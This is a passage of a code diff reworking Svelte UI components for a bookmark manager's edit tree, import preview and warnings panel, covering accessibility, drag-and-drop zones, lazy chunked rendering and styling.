||||
function grow(next: (current: RowWindow, total: number) => RowWindow): void {
|
||||
win = next(follow(win, focusIndex, rows.length), rows.length);
|
||||
}
|
||||
|
||||
/** Tabbing in with nothing focused focuses the first row, so arrows work at once (uL6). */
|
||||
function onFocus(): void {
|
||||
if (session.focusedId === undefined) session.focusedId = rows[0]?.node.id;
|
||||
}
|
||||
</script>
|
||||
|
||||
<!-- svelte-ignore a11y_no_noninteractive_element_interactions -->
|
||||
<ul
|
||||
bind:this={element}
|
||||
class="tree"
|
||||
role="tree"
|
||||
aria-label={t('common.edit')}
|
||||
tabindex="0"
|
||||
aria-activedescendant={focusedId === undefined ? undefined : `node-${focusedId}`}
|
||||
{onkeydown}
|
||||
>
|
||||
{#each rows as row (row.node.id)}
|
||||
<li
|
||||
id="node-{row.node.id}"
|
||||
data-node-id={row.node.id}
|
||||
role="treeitem"
|
||||
aria-level={row.depth}
|
||||
aria-expanded={row.expandable ? row.expanded : undefined}
|
||||
aria-selected={focusedId === row.node.id}
|
||||
>
|
||||
<TreeRow
|
||||
node={row.node}
|
||||
depth={row.depth}
|
||||
expandable={row.expandable}
|
||||
expanded={row.expanded}
|
||||
focused={focusedId === row.node.id}
|
||||
matched={matched.has(row.node.id)}
|
||||
renaming={renamingId === row.node.id}
|
||||
ontoggle={() => ontoggle(row.node.id)}
|
||||
onfocus={() => onfocusRow(row.node.id)}
|
||||
onstartRename={() => onstartRename(row.node.id)}
|
||||
onrename={(title) => onrename(row.node.id, title)}
|
||||
{oncancelRename}
|
||||
ondelete={() => ondelete(row.node)}
|
||||
onopen={() => onopen(row.node)}
|
||||
oncopyUrl={() => oncopyUrl(row.node)}
|
||||
onmoveTo={() => onmoveTo(row.node)}
|
||||
ondragstart={() => ondragstart(row.node.id)}
|
||||
ondropinto={() => ondropinto(row.node.id)}
|
||||
dropTarget={draggingId !== undefined && canDropInto(row.node.id)}
|
||||
draggable={editable(row.node)}
|
||||
editable={editable(row.node)}
|
||||
/>
|
||||
</li>
|
||||
{/each}
|
||||
<div class="frame">
|
||||
{#if range.from > 0}
|
||||
<button class="more" onclick={() => grow(showEarlier)}>
|
||||
{tPlural('edit.showEarlier', Math.min(range.from, WINDOW))}
|
||||
</button>
|
||||
{/if}
|
||||
<!-- svelte-ignore a11y_no_noninteractive_element_interactions -->
|
||||
<ul
|
||||
bind:this={element}
|
||||
class="tree"
|
||||
role="tree"
|
||||
aria-label={t('edit.tree')}
|
||||
aria-busy={session.busy}
|
||||
tabindex="0"
|
||||
aria-activedescendant={session.focusedId === undefined ? undefined : `node-${session.focusedId}`}
|
||||
{onkeydown}
|
||||
onfocus={onFocus}
|
||||
>
|
||||
{#each shown as row (row.node.id)}
|
||||
<li
|
||||
id="node-{row.node.id}"
|
||||
data-node-id={row.node.id}
|
||||
role="treeitem"
|
||||
aria-level={row.depth}
|
||||
aria-setsize={row.setSize}
|
||||
aria-posinset={row.posInSet}
|
||||
aria-expanded={row.expandable ? row.expanded : undefined}
|
||||
aria-selected={session.focusedId === row.node.id}
|
||||
>
|
||||
<TreeRow {row} {session} {onopen} {oncopy} {onsort} />
|
||||
</li>
|
||||
{/each}
|
||||
</ul>
|
||||
|
||||
{#if rows.length === 0}
|
||||
<li class="empty">{filtering ? t('edit.noMatches') : t('edit.empty')}</li>
|
||||
<p class="empty">
|
||||
{session.loading ? t('edit.loading') : session.filtering ? t('edit.noMatches') : t('edit.empty')}
|
||||
</p>
|
||||
{/if}
|
||||
</ul>
|
||||
|
||||
{#if later > 0}
|
||||
<button class="more" onclick={() => grow(showLater)}>
|
||||
{tPlural('edit.showMore', Math.min(later, WINDOW), { total: num(later) })}
|
||||
</button>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.frame {
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.tree {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: var(--sp-2);
|
||||
font-size: var(--fs-1);
|
||||
max-height: 560px;
|
||||
min-height: 160px;
|
||||
max-height: min(62vh, 620px);
|
||||
overflow: auto;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
}
|
||||
|
||||
.tree:focus-visible {
|
||||
outline: 2px solid var(--accent);
|
||||
outline-offset: -2px;
|
||||
}
|
||||
|
||||
.empty {
|
||||
margin: 0;
|
||||
color: var(--fg-muted);
|
||||
padding: var(--sp-4);
|
||||
text-align: center;
|
||||
border-top: 1px solid var(--border);
|
||||
}
|
||||
|
||||
.more {
|
||||
display: block;
|
||||
width: 100%;
|
||||
font: inherit;
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
padding: var(--sp-2);
|
||||
border: none;
|
||||
border-block: 1px solid var(--border);
|
||||
background: var(--bg-raised);
|
||||
color: var(--accent);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.more:hover {
|
||||
background: var(--accent-subtle);
|
||||
}
|
||||
</style>
|
||||
@@ -1,32 +1,44 @@
|
||||
<script lang="ts">
|
||||
import type { BookmarkNode } from '../core/model';
|
||||
import type { NodeStatus } from '../core/diff';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import type { BookmarkNode } from '../core/model';
|
||||
import TreePreviewNode from './TreePreviewNode.svelte';
|
||||
|
||||
interface Props {
|
||||
roots: readonly BookmarkNode[];
|
||||
status: WeakMap<BookmarkNode, NodeStatus>;
|
||||
/** Accessible name of the list. */
|
||||
label: string;
|
||||
}
|
||||
|
||||
let { roots, status }: Props = $props();
|
||||
let { roots, status, label }: Props = $props();
|
||||
</script>
|
||||
|
||||
<!-- Read-only preview. Folders below depth 2 start collapsed and mount their
|
||||
children lazily, so the DOM never holds the whole tree (docs/05 §9). -->
|
||||
<ul class="tree" role="tree" aria-label={t('import.preview')}>
|
||||
{#each roots as node, i (i)}
|
||||
<TreePreviewNode {node} {status} depth={1} />
|
||||
{/each}
|
||||
</ul>
|
||||
<!-- Read-only preview, as nested lists with disclosure buttons — not
|
||||
role="tree": a tree promises arrow-key navigation, and a read-only preview
|
||||
that did not provide it announced a widget that ignored the keyboard (uM5).
|
||||
Folders below depth 2 start collapsed and mount children lazily, 500 at a
|
||||
time, so the DOM never holds the whole file (docs/05 §9). -->
|
||||
<div class="frame">
|
||||
<ul class="list" aria-label={label}>
|
||||
{#each roots as node, i (i)}
|
||||
<TreePreviewNode {node} {status} depth={1} />
|
||||
{/each}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.tree {
|
||||
.frame {
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
}
|
||||
|
||||
.list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
padding: var(--sp-2);
|
||||
font-size: var(--fs-1);
|
||||
max-height: 420px;
|
||||
max-height: min(62vh, 560px);
|
||||
overflow: auto;
|
||||
}
|
||||
</style>
|
||||
@@ -1,7 +1,8 @@
|
||||
<script lang="ts">
|
||||
import type { NodeStatus } from '../core/diff';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { type BookmarkNode, isFolder } from '../core/model';
|
||||
import { num, t, tPlural } from '../i18n/index.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
import Self from './TreePreviewNode.svelte';
|
||||
|
||||
interface Props {
|
||||
@@ -12,55 +13,78 @@
|
||||
|
||||
let { node, status, depth }: Props = $props();
|
||||
|
||||
// Collapsed from depth 2 down. Children are only rendered while expanded, so
|
||||
// a 100k-node file never materializes as 100k DOM nodes (docs/05 §9).
|
||||
// `depth` is fixed for the lifetime of a node component, so capturing its
|
||||
// initial value here is deliberate.
|
||||
const CHUNK = 500;
|
||||
|
||||
// Collapsed from depth 2 down; `depth` is fixed for the life of a node
|
||||
// component, so capturing its initial value is deliberate.
|
||||
// svelte-ignore state_referenced_locally
|
||||
let expanded = $state(depth < 2);
|
||||
let limit = $state(CHUNK);
|
||||
|
||||
const folder = $derived(isFolder(node));
|
||||
const childCount = $derived(node.children?.length ?? 0);
|
||||
const children = $derived(node.children ?? []);
|
||||
const shown = $derived(children.length > limit ? children.slice(0, limit) : children);
|
||||
const badge = $derived(status.get(node));
|
||||
/** Where Merge and Replace send this folder's contents — shown on the top level only. */
|
||||
const target = $derived(
|
||||
depth !== 1 || !folder
|
||||
? undefined
|
||||
: node.toolbar === true
|
||||
? 'bar'
|
||||
: node.root === 'other'
|
||||
? 'unfiled'
|
||||
: node.root === 'mobile'
|
||||
? 'mobile'
|
||||
: undefined,
|
||||
);
|
||||
</script>
|
||||
|
||||
<li
|
||||
role="treeitem"
|
||||
aria-expanded={folder ? expanded : undefined}
|
||||
aria-level={depth}
|
||||
aria-selected={false}
|
||||
>
|
||||
<div class="row" style:padding-left="{(depth - 1) * 14}px">
|
||||
{#if folder}
|
||||
<li>
|
||||
<div class="row" style:--depth={depth - 1}>
|
||||
{#if folder && children.length > 0}
|
||||
<button
|
||||
class="disclosure"
|
||||
aria-label={expanded ? t('import.collapse') : t('import.expand')}
|
||||
aria-expanded={expanded}
|
||||
aria-label={`${expanded ? t('import.collapse') : t('import.expand')}: ${node.title}`}
|
||||
onclick={() => {
|
||||
expanded = !expanded;
|
||||
}}
|
||||
disabled={childCount === 0}
|
||||
>
|
||||
{childCount === 0 ? '·' : expanded ? '▾' : '▸'}
|
||||
<Icon name="chevron" size={12} turned={expanded} />
|
||||
</button>
|
||||
<span class="glyph" aria-hidden="true">🗀</span>
|
||||
{:else}
|
||||
<span class="disclosure" aria-hidden="true"></span>
|
||||
<span class="glyph" aria-hidden="true">🔗</span>
|
||||
{/if}
|
||||
<span class="glyph" class:folder aria-hidden="true">
|
||||
<Icon name={folder ? (expanded && children.length > 0 ? 'folder-open' : 'folder') : 'link'} size={14} />
|
||||
</span>
|
||||
|
||||
<span class="title">{node.title}</span>
|
||||
<span class="title" class:untitled={node.title === ''}>
|
||||
{node.title === '' ? (node.url ?? '') : node.title}
|
||||
</span>
|
||||
|
||||
{#if folder}<span class="count mono">{num(children.length)}</span>{/if}
|
||||
{#if target !== undefined}
|
||||
<span class="target mono" title={t('import.targetNote')}>→ {t(`import.target.${target}`)}</span>
|
||||
{/if}
|
||||
{#if badge !== undefined}
|
||||
<span class="badge {badge}">{badge === 'new' ? t('import.badgeNew') : t('import.badgeDup')}</span>
|
||||
<span class="badge mono {badge}">{badge === 'new' ? t('import.badgeNew') : t('import.badgeDup')}</span>
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
{#if folder && expanded && childCount > 0}
|
||||
<ul role="group">
|
||||
{#each node.children ?? [] as child, i (i)}
|
||||
{#if folder && expanded && children.length > 0}
|
||||
<ul>
|
||||
{#each shown as child, i (i)}
|
||||
<Self node={child} {status} depth={depth + 1} />
|
||||
{/each}
|
||||
</ul>
|
||||
{#if children.length > shown.length}
|
||||
<button class="more mono" style:--depth={depth} onclick={() => (limit += CHUNK)}>
|
||||
{tPlural('edit.showMore', Math.min(children.length - shown.length, CHUNK), {
|
||||
total: num(children.length - shown.length),
|
||||
})}
|
||||
</button>
|
||||
{/if}
|
||||
{/if}
|
||||
</li>
|
||||
|
||||
@@ -78,12 +102,22 @@
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
padding-block: 2px;
|
||||
min-height: 26px;
|
||||
padding-left: calc(var(--depth) * 18px);
|
||||
border-radius: var(--radius-sm);
|
||||
}
|
||||
|
||||
.row:hover {
|
||||
background: var(--bg-raised);
|
||||
}
|
||||
|
||||
.disclosure {
|
||||
width: 1.2em;
|
||||
font: inherit;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
flex: none;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--fg-muted);
|
||||
@@ -91,9 +125,13 @@
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.disclosure:disabled {
|
||||
cursor: default;
|
||||
opacity: 0.4;
|
||||
.glyph {
|
||||
display: inline-flex;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.glyph.folder {
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.title {
|
||||
@@ -102,16 +140,49 @@
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.badge {
|
||||
.untitled {
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
padding: 0 var(--sp-1);
|
||||
border-radius: var(--radius-sm);
|
||||
border: 1px solid var(--border);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.count,
|
||||
.badge,
|
||||
.target {
|
||||
flex: none;
|
||||
font-size: var(--fs-0);
|
||||
padding: 0 5px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.target {
|
||||
color: var(--accent);
|
||||
border-color: var(--accent);
|
||||
cursor: help;
|
||||
}
|
||||
|
||||
.badge.new {
|
||||
color: var(--success);
|
||||
border-color: var(--success);
|
||||
}
|
||||
|
||||
.badge.exists {
|
||||
color: var(--warn);
|
||||
border-color: var(--warn);
|
||||
}
|
||||
|
||||
.more {
|
||||
display: block;
|
||||
margin: 2px 0 2px calc(var(--depth) * 18px + 22px);
|
||||
font: inherit;
|
||||
font-size: var(--fs-0);
|
||||
background: none;
|
||||
border: 1px dashed var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--accent);
|
||||
cursor: pointer;
|
||||
padding: 1px var(--sp-2);
|
||||
}
|
||||
</style>
|
||||
@@ -1,192 +1,165 @@
|
||||
<script lang="ts">
|
||||
import { isBlockedUrl } from '../browser/open-url';
|
||||
import { type DropZone, planDrop, zoneFor } from '../edit/move-target';
|
||||
import { hostOf } from '../edit/edit-node';
|
||||
import type { EditNode } from '../edit/patch-tree';
|
||||
import type { VisibleRow } from '../edit/tree-keyboard';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import type { EditSession } from '../stores/edit-session.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
import RenameInput from './RenameInput.svelte';
|
||||
import RowActions from './RowActions.svelte';
|
||||
|
||||
interface Props {
|
||||
node: EditNode;
|
||||
depth: number;
|
||||
expandable: boolean;
|
||||
expanded: boolean;
|
||||
focused: boolean;
|
||||
matched: boolean;
|
||||
renaming: boolean;
|
||||
ontoggle: () => void;
|
||||
onfocus: () => void;
|
||||
onrename: (title: string) => void;
|
||||
oncancelRename: () => void;
|
||||
onstartRename: () => void;
|
||||
ondelete: () => void;
|
||||
onopen: () => void;
|
||||
oncopyUrl: () => void;
|
||||
onmoveTo: () => void;
|
||||
ondragstart: () => void;
|
||||
ondropinto: () => void;
|
||||
dropTarget: boolean;
|
||||
draggable: boolean;
|
||||
/** False for permanent roots and policy-managed nodes — docs/02 §4. */
|
||||
editable: boolean;
|
||||
row: VisibleRow;
|
||||
session: EditSession;
|
||||
onopen: (node: EditNode) => void;
|
||||
oncopy: (node: EditNode) => void;
|
||||
onsort: (node: EditNode) => void;
|
||||
}
|
||||
|
||||
let {
|
||||
node,
|
||||
depth,
|
||||
expandable,
|
||||
expanded,
|
||||
focused,
|
||||
matched,
|
||||
renaming,
|
||||
ontoggle,
|
||||
onfocus,
|
||||
onrename,
|
||||
oncancelRename,
|
||||
onstartRename,
|
||||
ondelete,
|
||||
onopen,
|
||||
oncopyUrl,
|
||||
onmoveTo,
|
||||
ondragstart,
|
||||
ondropinto,
|
||||
dropTarget,
|
||||
draggable,
|
||||
editable,
|
||||
}: Props = $props();
|
||||
let { row, session, onopen, oncopy, onsort }: Props = $props();
|
||||
|
||||
const node = $derived(row.node);
|
||||
const isFolder = $derived(node.url === undefined);
|
||||
const editable = $derived(session.isEditable(node));
|
||||
const focused = $derived(session.focusedId === node.id);
|
||||
const renaming = $derived(session.renamingId === node.id && editable);
|
||||
const domain = $derived(hostOf(node.url));
|
||||
const blocked = $derived(!isFolder && isBlockedUrl(node.url));
|
||||
|
||||
function hostOf(url: string | undefined): string {
|
||||
if (url === undefined) return '';
|
||||
try {
|
||||
return new URL(url).host;
|
||||
} catch {
|
||||
// javascript:, data:, malformed — show nothing rather than guessing.
|
||||
return '';
|
||||
/** Which part of this row a drag is over, when the drop there is legal. */
|
||||
let zone = $state<DropZone | undefined>();
|
||||
|
||||
type RowDragEvent = DragEvent & { currentTarget: EventTarget & HTMLDivElement };
|
||||
|
||||
function zoneAt(event: RowDragEvent): DropZone {
|
||||
const box = event.currentTarget.getBoundingClientRect();
|
||||
return zoneFor((event.clientY - box.top) / box.height, isFolder);
|
||||
}
|
||||
|
||||
function onDragOver(event: RowDragEvent): void {
|
||||
const dragging = session.draggingId;
|
||||
if (dragging === undefined) return;
|
||||
const at = zoneAt(event);
|
||||
if (planDrop(session.roots, dragging, node.id, at) === undefined) {
|
||||
zone = undefined;
|
||||
return;
|
||||
}
|
||||
// preventDefault is what marks this as a valid drop target.
|
||||
event.preventDefault();
|
||||
zone = at;
|
||||
}
|
||||
</script>
|
||||
|
||||
<!-- The row is presentation inside its `treeitem`: keyboard input goes to the
|
||||
tree (aria-activedescendant), and the buttons below are mouse shortcuts
|
||||
with keyboard equivalents — so none of them is a tab stop. -->
|
||||
<div
|
||||
class="row"
|
||||
class:focused
|
||||
class:matched
|
||||
class:drop-target={dropTarget}
|
||||
style:padding-left="{(depth - 1) * 16}px"
|
||||
onclick={onfocus}
|
||||
class:matched={session.search.matched.has(node.id)}
|
||||
class:dragging={session.draggingId === node.id}
|
||||
class:drop-before={zone === 'before'}
|
||||
class:drop-after={zone === 'after'}
|
||||
class:drop-into={zone === 'into'}
|
||||
style:--depth={row.depth - 1}
|
||||
onclick={() => (session.focusedId = node.id)}
|
||||
ondblclick={() => (isFolder ? session.toggle(node.id) : onopen(node))}
|
||||
onkeydown={() => {}}
|
||||
role="presentation"
|
||||
{draggable}
|
||||
ondragstart={(e) => {
|
||||
e.dataTransfer?.setData('text/plain', node.id);
|
||||
ondragstart();
|
||||
draggable={editable && !renaming && !session.busy}
|
||||
ondragstart={(event) => {
|
||||
event.dataTransfer?.setData('text/plain', node.id);
|
||||
if (event.dataTransfer !== null) event.dataTransfer.effectAllowed = 'move';
|
||||
session.draggingId = node.id;
|
||||
}}
|
||||
ondragover={(e) => {
|
||||
// Only folders accept a drop; preventDefault is what marks it as valid.
|
||||
if (isFolder) e.preventDefault();
|
||||
ondragend={() => {
|
||||
// Fires on every drag end — dropped, cancelled with Esc, or released
|
||||
// outside the tree. Without it a cancelled drag left every row lit up.
|
||||
session.draggingId = undefined;
|
||||
zone = undefined;
|
||||
}}
|
||||
ondrop={(e) => {
|
||||
e.preventDefault();
|
||||
ondropinto();
|
||||
ondragover={onDragOver}
|
||||
ondragleave={() => (zone = undefined)}
|
||||
ondrop={(event) => {
|
||||
event.preventDefault();
|
||||
const at = zone;
|
||||
zone = undefined;
|
||||
if (at !== undefined) void session.drop(node.id, at);
|
||||
}}
|
||||
>
|
||||
{#if expandable}
|
||||
{#if row.expandable}
|
||||
<button
|
||||
class="disclosure"
|
||||
aria-label={expanded ? t('import.collapse') : t('import.expand')}
|
||||
onclick={(e) => {
|
||||
e.stopPropagation();
|
||||
ontoggle();
|
||||
}}>{expanded ? '▾' : '▸'}</button
|
||||
tabindex="-1"
|
||||
aria-hidden="true"
|
||||
onclick={(event) => {
|
||||
// The row under it must not also take the click.
|
||||
event.stopPropagation();
|
||||
session.toggle(node.id);
|
||||
}}
|
||||
>
|
||||
<Icon name="chevron" size={12} turned={row.expanded} />
|
||||
</button>
|
||||
{:else}
|
||||
<span class="disclosure" aria-hidden="true"></span>
|
||||
{/if}
|
||||
|
||||
<span class="glyph" aria-hidden="true">{isFolder ? '🗀' : '🔗'}</span>
|
||||
<span class="glyph" class:folder={isFolder}>
|
||||
{#if node.unmodifiable !== undefined}
|
||||
<Icon name="lock" size={14} />
|
||||
{:else if isFolder}
|
||||
<Icon name={row.expandable && row.expanded ? 'folder-open' : 'folder'} size={14} />
|
||||
{:else}
|
||||
<Icon name="link" size={14} />
|
||||
{/if}
|
||||
</span>
|
||||
|
||||
{#if renaming && editable}
|
||||
<!-- svelte-ignore a11y_autofocus -->
|
||||
<input
|
||||
class="rename"
|
||||
value={node.title}
|
||||
autofocus
|
||||
onkeydown={(e) => {
|
||||
if (e.key === 'Enter') onrename((e.currentTarget as HTMLInputElement).value);
|
||||
if (e.key === 'Escape') oncancelRename();
|
||||
e.stopPropagation();
|
||||
}}
|
||||
onblur={(e) => onrename((e.currentTarget as HTMLInputElement).value)}
|
||||
/>
|
||||
{#if renaming}
|
||||
<RenameInput {node} {session} />
|
||||
{:else}
|
||||
<span class="title">{node.title}</span>
|
||||
<span class="title" class:untitled={node.title === ''}>{node.title === '' ? (node.url ?? '') : node.title}</span>
|
||||
{#if domain !== ''}<span class="domain">{domain}</span>{/if}
|
||||
{#if isFolder}<span class="count">{node.children?.length ?? 0}</span>{/if}
|
||||
{#if blocked}
|
||||
<!-- docs/09 T3: a javascript:/data: bookmark must not look like an
|
||||
ordinary link that merely does nothing when clicked. -->
|
||||
<span class="unsafe" title={t('edit.unsafeUrl')} aria-label={t('edit.unsafeUrl')}>⚠</span>
|
||||
<span class="unsafe" title={t('edit.unsafeUrl')}>
|
||||
<Icon name="warning" size={13} /><span class="sr-only">{t('edit.unsafeUrl')}</span>
|
||||
</span>
|
||||
{/if}
|
||||
|
||||
<span class="actions">
|
||||
{#if editable}
|
||||
<button
|
||||
title={t('edit.rename')}
|
||||
aria-label={t('edit.rename')}
|
||||
onclick={(e) => {
|
||||
e.stopPropagation();
|
||||
onstartRename();
|
||||
}}><span aria-hidden="true">✎</span></button
|
||||
>
|
||||
{/if}
|
||||
{#if !isFolder}
|
||||
<button
|
||||
title={t('edit.open')}
|
||||
aria-label={t('edit.open')}
|
||||
onclick={(e) => {
|
||||
e.stopPropagation();
|
||||
onopen();
|
||||
}}><span aria-hidden="true">↗</span></button
|
||||
>
|
||||
<button
|
||||
title={t('edit.copyUrl')}
|
||||
aria-label={t('edit.copyUrl')}
|
||||
onclick={(e) => {
|
||||
e.stopPropagation();
|
||||
oncopyUrl();
|
||||
}}><span aria-hidden="true">⧉</span></button
|
||||
>
|
||||
{/if}
|
||||
{#if editable}
|
||||
<button
|
||||
title={t('edit.moveTo')}
|
||||
aria-label={t('edit.moveTo')}
|
||||
onclick={(e) => {
|
||||
e.stopPropagation();
|
||||
onmoveTo();
|
||||
}}><span aria-hidden="true">⇄</span></button
|
||||
>
|
||||
<button
|
||||
title={t('edit.delete')}
|
||||
aria-label={t('edit.delete')}
|
||||
onclick={(e) => {
|
||||
e.stopPropagation();
|
||||
ondelete();
|
||||
}}><span aria-hidden="true">🗑</span></button
|
||||
>
|
||||
{/if}
|
||||
</span>
|
||||
<RowActions {node} {session} {editable} {onopen} {oncopy} {onsort} />
|
||||
{/if}
|
||||
</div>
|
||||
|
||||
<style>
|
||||
.row {
|
||||
position: relative;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
padding-block: 3px;
|
||||
min-height: 28px;
|
||||
padding-block: 2px;
|
||||
padding-left: calc(var(--depth) * 18px + var(--sp-1));
|
||||
padding-right: var(--sp-2);
|
||||
border-radius: var(--radius-sm);
|
||||
cursor: default;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
/* Indent rails: one faint line per ancestor level. */
|
||||
.row::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset-block: 0;
|
||||
left: var(--sp-1);
|
||||
width: calc(var(--depth) * 18px);
|
||||
background-image: linear-gradient(90deg, var(--border) 1px, transparent 1px);
|
||||
background-size: 18px 100%;
|
||||
background-position: 8px 0;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.row:hover {
|
||||
@@ -194,14 +167,26 @@
|
||||
}
|
||||
|
||||
.focused {
|
||||
background: var(--bg-raised);
|
||||
outline: 2px solid var(--accent);
|
||||
outline-offset: -2px;
|
||||
background: var(--accent-subtle);
|
||||
box-shadow: inset 2px 0 0 var(--accent);
|
||||
}
|
||||
|
||||
.drop-target {
|
||||
outline: 2px dashed var(--accent);
|
||||
outline-offset: -2px;
|
||||
.dragging {
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.drop-into {
|
||||
outline: 1px dashed var(--accent);
|
||||
outline-offset: -1px;
|
||||
background: var(--accent-subtle);
|
||||
}
|
||||
|
||||
.drop-before {
|
||||
box-shadow: inset 0 2px 0 var(--accent);
|
||||
}
|
||||
|
||||
.drop-after {
|
||||
box-shadow: inset 0 -2px 0 var(--accent);
|
||||
}
|
||||
|
||||
.matched .title {
|
||||
@@ -210,8 +195,12 @@
|
||||
}
|
||||
|
||||
.disclosure {
|
||||
width: 1.2em;
|
||||
font: inherit;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
flex: none;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--fg-muted);
|
||||
@@ -219,13 +208,34 @@
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.glyph {
|
||||
display: inline-flex;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.glyph.folder {
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
/* The title keeps its room; the domain gives way first (at 375 px the title
|
||||
shrank to "D…" while the domain beside it stayed whole — v1.1.0 review). */
|
||||
.title {
|
||||
flex: 0 1 auto;
|
||||
min-width: 3ch;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.domain {
|
||||
.untitled {
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.domain,
|
||||
.count {
|
||||
font-family: var(--font-mono);
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
overflow: hidden;
|
||||
@@ -233,45 +243,34 @@
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
/* Basis 0: the domain only ever takes the room the title leaves, so it is
|
||||
gone before the title loses a single character. */
|
||||
.domain {
|
||||
flex: 1 1 0;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.count {
|
||||
flex: none;
|
||||
padding: 0 5px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 999px;
|
||||
}
|
||||
|
||||
.unsafe {
|
||||
flex-shrink: 0;
|
||||
font-size: var(--fs-0);
|
||||
display: inline-flex;
|
||||
flex: none;
|
||||
color: var(--warn);
|
||||
cursor: help;
|
||||
}
|
||||
|
||||
.rename {
|
||||
font: inherit;
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
border: 1px solid var(--accent);
|
||||
border-radius: var(--radius-sm);
|
||||
padding: 1px var(--sp-2);
|
||||
/* The buttons live in RowActions; showing them is the row's business. */
|
||||
.row :global(.actions) {
|
||||
visibility: hidden;
|
||||
}
|
||||
|
||||
.actions {
|
||||
margin-left: auto;
|
||||
display: none;
|
||||
gap: var(--sp-1);
|
||||
}
|
||||
|
||||
.row:hover .actions,
|
||||
.focused .actions {
|
||||
display: flex;
|
||||
}
|
||||
|
||||
.actions button {
|
||||
font: inherit;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--fg-muted);
|
||||
cursor: pointer;
|
||||
padding: 0 var(--sp-1);
|
||||
}
|
||||
|
||||
.actions button:hover {
|
||||
color: var(--accent);
|
||||
.row:hover :global(.actions),
|
||||
.focused :global(.actions) {
|
||||
visibility: visible;
|
||||
}
|
||||
</style>
|
||||
@@ -1,6 +1,7 @@
|
||||
<script lang="ts">
|
||||
import { tPlural } from '../i18n/index.svelte';
|
||||
import type { ParseWarning } from '../core/model';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
warnings: readonly ParseWarning[];
|
||||
@@ -11,7 +12,11 @@
|
||||
|
||||
{#if warnings.length > 0}
|
||||
<details>
|
||||
<summary>{tPlural('import.warnings.title', warnings.length)}</summary>
|
||||
<summary>
|
||||
<Icon name="warning" size={14} />
|
||||
<span>{tPlural('import.warnings.title', warnings.length)}</span>
|
||||
<Icon name="chevron" size={12} />
|
||||
</summary>
|
||||
<ul>
|
||||
{#each warnings as warning (warning.code)}
|
||||
<li>{tPlural(`warnings.${warning.code}`, warning.count)}</li>
|
||||
@@ -22,21 +27,44 @@
|
||||
|
||||
<style>
|
||||
details {
|
||||
border: 1px solid var(--border);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-left: 3px solid var(--warn);
|
||||
border-radius: var(--radius-sm);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
background: var(--bg-raised);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
summary {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
cursor: pointer;
|
||||
color: var(--warn);
|
||||
font-weight: 600;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
summary::-webkit-details-marker {
|
||||
display: none;
|
||||
}
|
||||
|
||||
summary span {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
/* The disclosure chevron is state, so it turns with or without motion. */
|
||||
details[open] summary :global(svg:last-child) {
|
||||
transform: rotate(90deg);
|
||||
}
|
||||
|
||||
ul {
|
||||
margin: var(--sp-2) 0 0;
|
||||
padding-left: var(--sp-4);
|
||||
margin: 0;
|
||||
